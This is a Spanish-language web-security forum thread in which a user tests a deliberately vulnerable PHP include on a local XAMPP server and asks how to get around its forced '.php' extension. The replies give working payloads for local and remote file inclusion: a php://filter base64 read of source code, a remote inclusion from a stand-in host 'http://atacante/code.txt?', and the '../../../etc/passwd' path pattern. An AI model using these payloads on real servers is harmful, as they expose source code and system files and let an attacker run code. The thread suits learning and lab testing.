elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  Bypass extensión en filtro include (en la actualidad)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Bypass extensión en filtro include (en la actualidad)  (Leído 4,418 veces)
exploiterstack

Desconectado Desconectado

Mensajes: 102


Ver Perfil
Bypass extensión en filtro include (en la actualidad)
« en: 26 Enero 2015, 12:33 pm »

Hola a toda la comunidad ;)

Bueno estoy probando en un entorno local(XAMP) como evadir un filtro que he puesto en una pagina web, la cual especifico que TIPO de archivos puedo incluir por medio de la url. Como digo es un entorno que he creado para ver la seguridad y como reforzar este tema de los LFI etc...

if(isset($_GET['pagina'])){
     include($_GET['pagina'].".php");
}

En principio quiero saber como puedo incluir un archivo txt (el cual esta en el mismo directorio)el cual en su interior he puesto un texto que quiero que se visualice.  Con lo que pruebo de la siguiente manera:

http://localhost/r/r.php?pagina=archivo.txt%00

De ese modo se supone que al poner el null byte a continuación del nombre del archivo junto a su extensión debería abrirme el archivo y mostrarme  el correspondiente mensaje.

Pero hay viene el problema que no lo consigo con lo que me arroja el siguiente error:

Warning: include(): Failed opening 'pag.txt' for inclusion (include_path='.;C:\Users\public\Desktop\Entorno local\php\PEAR') in C:\Users\public\Desktop\Entorno local\htdocs\r\r.php on line 10


Espero vuestra respuesta, un saludo!
« Última modificación: 26 Enero 2015, 13:42 pm por exploiterstack » En línea

Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.724


<3


Ver Perfil WWW
Re: Bypass extensión en filtro include
« Respuesta #1 en: 26 Enero 2015, 13:25 pm »

Null byte injection has been fixed in PHP 5.3.4 (which it's self is already an old and unsupported PHP version): https://bugs.php.net/bug.php?id=39863.

:http://security.stackexchange.com/questions/48187/null-byte-injection-on-php
En línea

Te vendería mi talento por poder dormir tranquilo.
exploiterstack

Desconectado Desconectado

Mensajes: 102


Ver Perfil
Re: Bypass extensión en filtro include
« Respuesta #2 en: 26 Enero 2015, 13:29 pm »

Gracias por contestar Shell Root,

Entonces a partir de esa versión ya no se puede hacer uso de %00 ya que se ha parcheado. Entonces que técnicas actuales existen para poder un bypass a dicho filtro?

Un saludo!
En línea

T. Collins

Desconectado Desconectado

Mensajes: 206


Ver Perfil
Re: Bypass extensión en filtro include (en la actualidad)
« Respuesta #3 en: 26 Enero 2015, 22:45 pm »

Puedes buscar, alternative to null byte en google mismo y sale bastante información. Otra opción es que esté allow_url_include activado, o con php://filter podrías ver los archivos php en base64 por ejemplo y así buscar otra vulnerabilidad.
En línea

exploiterstack

Desconectado Desconectado

Mensajes: 102


Ver Perfil
Re: Bypass extensión en filtro include (en la actualidad)
« Respuesta #4 en: 27 Enero 2015, 08:17 am »

Antes de nada gracias por contestar T. Collins,

He buscado en google alternativas a null byte y no es que me salga mucho y lo que me arroja no esta muy detallado que digamos.

Por otra parte, me estas diciendo que con a opción allow_url_include activada si que puedo hacer uso de la secuencia %00 aun estando en una versión superior a la de PHP 5.3.4?....Por otra parte a que te refieres con php://filter

Por favor se mas explicito, un saludo!  ;)
« Última modificación: 27 Enero 2015, 08:21 am por exploiterstack » En línea

T. Collins

Desconectado Desconectado

Mensajes: 206


Ver Perfil
Re: Bypass extensión en filtro include (en la actualidad)
« Respuesta #5 en: 27 Enero 2015, 21:34 pm »

Con allow_url_include no puedes usar %00, pero sí poner urls y ejecutar php ajeno, así es fácil ver archivo.txt
Si tienes algún problema con el .php del final, con poner un ?, el resto se ignora:

http://ejemplo.com/ejemplo.txt? quedaría http://ejemplo.com/ejemplo.txt?.php y se ejecuta el código que hay en ejemplo.txt

Con php://filter puedes ver el código de los php en el servidor y buscar otra vulnerabilidad que te deje ver archivo.txt

php://filter/convert.base64-encode/resource=index quedaría php://filter/convert.base64-encode/resource=index.php por lo que no puedes ver el .txt directamente, pero sí los .php.
« Última modificación: 27 Enero 2015, 21:43 pm por T. Collins » En línea

exploiterstack

Desconectado Desconectado

Mensajes: 102


Ver Perfil
Re: Bypass extensión en filtro include (en la actualidad)
« Respuesta #6 en: 28 Enero 2015, 08:44 am »

Hola T. Collins,

Con allow_url_include no puedes usar %00, pero sí poner urls y ejecutar php ajeno, así es fácil ver archivo.txt

En que caso puedo utilizar el famoso null byte? o esta fixeado desde la versión PHP 5.3.4 como dice Shell Root, esta ya obsoleto o no? Respecto a lo de ver el fichero.txt no se si te refieres a poner --> http://localhost/r/text.txt  pero eso no es ejecutarlo directamente sin pasar por el include?

Si tienes algún problema con el .php del final, con poner un ?, el resto se ignora:

http://ejemplo.com/ejemplo.txt? quedaría http://ejemplo.com/ejemplo.txt?.php y se ejecuta el código que hay en ejemplo.txt


El ejemplo que me das no lo consigo realizar ya que no entiendo como saltarse la extensión que fuerzo en el include --> include($_GET['pagina'].".php");
Lo intento de la siguiente manera sin éxito:

http://localhost/r/r.php?pagina=text.txt?

Con php://filter puedes ver el código de los php en el servidor y buscar otra vulnerabilidad que te deje ver archivo.txt

php://filter/convert.base64-encode/resource=index quedaría php://filter/convert.base64-encode/resource=index.php por lo que no puedes ver el .txt directamente, pero sí los .php.


Este ejemplo que me pones no lo conocía y me ha venido bien saber de esto:

http://localhost/r/r.php?pagina=php://filter/convert.base64-encode/resource=r

Con lo que me da una ristra de caracteres:

PD9waHANCg0KICAgIC8qDQogICAgLy9BYnJpbW9zIGVsIGZpY2hlcm8geSBlc2NyaWJpbW9zIGVuIGVsIFhTUw0KICAgICRmcCA9IGZvcGVuKCJmaWNoZXJvLnR4dCIsICJ3Iik7DQogICAgZnB1dHMoJGZwLCAiPHNjcmlwdD5hbGVydCgnVnVsbmVyYWJsZSBhIFhTUycpOzwvc2NyaXB0PiIpOw0KICAgIGZjbG9zZSgkZnApOw0KICAgICovDQogIA0KICAgIGlmKGlzc2V0KCRfR0VUWydwYWdpbmEnXSkpew0KICAgICAgICBpbmNsdWRlKCRfR0VUWydwYWdpbmEnXS4iLnBocCIpOw0KDQogICAgICAgIGVjaG8gIjxicj48YnI

Y al decodificarlos en Base64 me proporciona la el código fuente de la página. Esto me permite realizarlo con cualquier fichero .php(sin añadir la extensión) del proyecto.

Eso es lo te referías?

Espero su respuesta, un saludo! ;)
« Última modificación: 28 Enero 2015, 08:46 am por exploiterstack » En línea

T. Collins

Desconectado Desconectado

Mensajes: 206


Ver Perfil
Re: Bypass extensión en filtro include (en la actualidad)
« Respuesta #7 en: 29 Enero 2015, 00:43 am »

El null byte no se puede utilizar.

Con allow_url_include puedes incluir código php desde una url, por ejemplo:
Código
  1. include "http://atacante/code.txt";

Por lo tanto, no se trata de incluir http://localhost/r/r.php?pagina=text.txt?, sino http://atacante/code.txt y así ejecutar el código del atacante, que podría ser:
Código
  1. echo file_get_contents("archivo.txt");

Para evitar el .php del final basta con poner un ?: http://atacante/code.txt?

Finalmente quedaría así: http://localhost/r/r.php?pagina=http://atacante/code.txt?

Código
  1. include "http://atacante/code.txt?.php";
En línea

exploiterstack

Desconectado Desconectado

Mensajes: 102


Ver Perfil
Re: Bypass extensión en filtro include (en la actualidad)
« Respuesta #8 en: 29 Enero 2015, 13:38 pm »

Hola otra vez :P
Vale ya entiendo...como si fuera un RFI normal de toda la vida, pensaba que se podría incluir archivos locales como por ejemplo con el ataque LFI típico ../../../etc/passwd pero con un archivo que tenia en el mismo directorio(en este caso un archivo txt).

Saludos!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
ayuda phpBB include($rootpath . "extension.inc");
PHP
AKA33 3 2,405 Último mensaje 3 Abril 2008, 21:29 pm
por Nakp
Codigo de ejecución PHP en VBulletín 4.0.1 (bypass al filtro de funciones)
Nivel Web
WHK 0 3,048 Último mensaje 21 Febrero 2010, 23:24 pm
por WHK
Bypass de un filtro XSS « 1 2 3 »
Nivel Web
Debci 23 12,604 Último mensaje 21 Julio 2010, 20:07 pm
por Debci
#include <thread/AsyncCallback.h> #include <thread/Runnable.h>
GNU/Linux
Codename!! 1 3,106 Último mensaje 18 Agosto 2011, 07:14 am
por Foxy Rider
[include()] Como poder enlazar un js y css al código de include
PHP
moikano→@ 2 2,881 Último mensaje 28 Julio 2012, 11:13 am
por moikano→@
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines